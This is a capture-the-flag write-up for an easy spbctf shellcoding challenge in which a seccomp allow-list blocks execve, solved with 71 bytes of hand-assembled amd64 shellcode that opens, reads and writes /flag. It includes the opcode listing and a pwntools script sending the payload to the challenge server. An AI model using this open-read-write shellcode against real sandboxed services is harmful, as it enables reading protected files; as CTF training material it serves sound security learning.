cat /flag under seccomp
cat /flag under seccomp
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: allow_list_seccomp_bypass, direct_syscall_chain, stack_string_build
Summary
Task: shellcode runner with a libseccomp allow-list limited to read/write/open/close/exit_group that calls the stack buffer directly. Solution: 71-byte hand-assembled shellcode that does open('/flag') -> read -> write(stdout) -> exit_group, all inside the allow list.
cat /flag under seccomp — SPB CTF Pwn Season
Description
Просто. Прочитай. /flag.
nc 109.233.56.90 11662
Category: shellcoding, 10 pts
Binary: cat.elf — amd64 PIE, no canary, executable stack
English summary: a shellcode runner that installs a narrow seccomp allow-list before handing control to our bytes on the stack. Only open, read, write, close, and exit_group are permitted — execve is blocked.
Analysis
main does the following:
- Builds a libseccomp allow-list permitting syscalls:
0read,1write,2open,3close,0xe7(231)exit_group.
read(0, buf[0x400], 0x400)into a stack buffer.call buf— our shellcode runs directly on the executable stack.alarm(5)— we have five seconds.
Because execve is not on the allow-list, the "push /bin/sh and syscall" pattern would be killed. However the allow-list is enough to read /flag ourselves: open, read, write, exit.
Solution
The local GNU assembler for amd64 was not available, so the shellcode is written as raw opcodes (71 bytes):
text read-only • copy allowedmov rax, "/flag\0\0\0" ; 48 b8 2f 66 6c 61 67 00 00 00 push rax ; 50 mov rdi, rsp ; 48 89 e7 xor rsi, rsi ; 48 31 f6 ; O_RDONLY xor rdx, rdx ; 48 31 d2 mov eax, 2 ; b8 02 00 00 00 ; SYS_open syscall ; 0f 05 ; fd -> rax mov rdi, rax ; 48 89 c7 ; fd mov rsi, rsp ; 48 89 e6 mov edx, 0x200 ; ba 00 02 00 00 xor rax, rax ; 48 31 c0 ; SYS_read syscall ; 0f 05 ; n bytes -> rax mov rdx, rax ; 48 89 c2 mov rsi, rsp ; 48 89 e6 mov edi, 1 ; bf 01 00 00 00 ; stdout mov eax, 1 ; b8 01 00 00 00 ; SYS_write syscall ; 0f 05 xor rdi, rdi ; 48 31 ff mov eax, 231 ; b8 e7 00 00 00 ; SYS_exit_group syscall ; 0f 05
The whole payload stays inside the seccomp allow-list, so the kernel never kills us.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11662 sc = b'\x48\xb8' + b'/flag\x00\x00\x00' # mov rax, "/flag\0\0\0" sc += b'\x50' # push rax sc += b'\x48\x89\xe7' # mov rdi, rsp sc += b'\x48\x31\xf6' # xor rsi, rsi sc += b'\x48\x31\xd2' # xor rdx, rdx sc += b'\xb8\x02\x00\x00\x00' # mov eax, 2 (open) sc += b'\x0f\x05' # syscall sc += b'\x48\x89\xc7' # mov rdi, rax (fd) sc += b'\x48\x89\xe6' # mov rsi, rsp sc += b'\xba\x00\x02\x00\x00' # mov edx, 0x200 sc += b'\x48\x31\xc0' # xor rax, rax (read) sc += b'\x0f\x05' # syscall sc += b'\x48\x89\xc2' # mov rdx, rax sc += b'\x48\x89\xe6' # mov rsi, rsp sc += b'\xbf\x01\x00\x00\x00' # mov edi, 1 sc += b'\xb8\x01\x00\x00\x00' # mov eax, 1 (write) sc += b'\x0f\x05' # syscall sc += b'\x48\x31\xff' # xor rdi, rdi sc += b'\xb8\xe7\x00\x00\x00' # mov eax, 231 (exit_group) sc += b'\x0f\x05' # syscall p = remote(HOST, PORT) p.send(sc) print(p.recvall(timeout=5).decode(errors='replace'))
Remote output:
Shellcode: spbctf{REDACTED}